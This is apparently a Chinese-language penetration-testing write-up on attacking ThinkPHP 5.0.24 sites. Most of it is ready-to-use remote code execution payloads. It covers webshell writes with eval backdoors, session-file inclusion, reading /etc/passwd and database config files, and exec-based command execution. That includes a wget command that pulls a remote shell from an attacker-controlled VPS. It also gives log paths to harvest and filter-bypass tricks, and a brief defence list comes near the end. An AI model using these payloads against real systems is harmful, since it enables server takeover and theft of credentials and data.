记一次tp5.0.24
字数 1293 2025-08-10 08:28:47
ThinkPHP 5.0.24 漏洞利用实战教学
1. 漏洞背景
ThinkPHP 5.0.24 版本存在远程代码执行(RCE)漏洞,尽管该版本理论上不应存在RCE漏洞,但在实际环境中,由于二次开发或配置不当,仍可能被利用。
2. 漏洞验证
2.1 基础验证方法
使用以下payload验证是否存在RCE漏洞:
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
其他验证payload变种:
_method=__construct&method=get&filter[]=phpinfo&get[]=-1
_method=__construct&filter[]=system&method=get&get[]=phpinfo
_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo
_method=_constrcuct&filter[]=assert&method=get&server[REQUEST_METHOD]=phpinfo()
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
2.2 验证结果分析
成功执行会返回phpinfo页面,此时需要检查disable_functions限制:
- 查看哪些PHP函数被禁用
- 特别注意exec函数是否可用(本例中exec未被禁用)
3. 漏洞利用
3.1 直接写入Webshell
尝试直接写入webshell:
s=file_put_contents('axgg.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
或使用:
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=axgg.php&vars[1][]=<?php @eval($_POST[1]);?>
3.2 Session包含攻击
当直接写入失败时,可尝试Session包含攻击:
- 写入Session:
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
- 包含Session:
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_oi14rt2tefacbtgcg7arrfnpo6&x=phpinfo();
3.3 文件读取
读取系统文件获取更多信息:
_method=__construct&filter[]=highlight_file&method=GET&get[]=/etc/passwd
或目录遍历:
_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/data/app/lottery/public
重点读取配置文件:
- config.php
- database.php
- config.php.inc
- 常见位置:application/data, data, 根目录
3.4 利用exec函数执行命令
当发现exec函数未被禁用时:
- 测试命令执行:
s=whoami&_method=__construct&method=&filter[]=exec
- 使用DNSLOG验证:
s=ping dnslog.domain&_method=__construct&method=&filter[]=exec
- 下载远程shell:
s=wget vps/a.txt&_method=__construct&method=&filter[]=exec
- 完整利用流程:
- 在VPS上开启HTTP服务:
python3 -m http.server 1337 - 执行下载:
s=exec vps:1377/shell.php&_method=__construct&method=&filter[]=exec
4. 日志利用
4.1 ThinkPHP 3 常见日志路径
Application//Runtime/Logs/Admin/20_05_01.log
Application//Runtime/Logs/Index/20_05_01.log
Application/runtime/logs/home/16_09_09.log
runtime/log/202009/30.log
runtime/logs/202009/30.log
runtime/log/202009/03_sql.log
runtime/logs/home/16_09_09.log
Application//Runtime/Logs/202005/01.log
注意:
- 区分大小写
- application可能为app
- 日志命名可能为01_sql.log或01_error.log
4.2 日志与注入组合利用
当发现注入点但无回显时,注入payload可能被记录在日志中,可通过读取日志获取注入结果。
5. 其他利用技巧
5.1 数据库利用
- 读取数据库配置后尝试外连
- 查找phpMyAdmin或adminer.php等数据库管理界面
- 扫描C段寻找数据库管理入口
5.2 后台利用
- 尝试弱口令登录
- 验证码绕过(如有)
- 结合其他漏洞获取后台权限
6. 绕过技巧
-
当写入被过滤时:
- 使用base64编码payload
- 使用file_put_contents的追加模式(a+)分步写入
-
Session包含绕过:
- 使用伪协议包含
7. 防御建议
- 及时升级ThinkPHP到最新安全版本
- 严格限制危险函数(disable_functions)
- 日志文件不应存放在web目录
- 数据库配置信息严格保密
- 后台管理加强认证
8. 总结
ThinkPHP 5.0.24虽然理论上不应存在RCE漏洞,但在实际环境中仍可能被利用。渗透测试时应:
- 全面尝试各种payload
- 仔细分析phpinfo信息
- 当直接写入失败时尝试其他方法(如session包含、日志包含)
- 注意检查非常用函数(如exec)是否可用
- 结合数据库、后台等其他攻击面进行综合渗透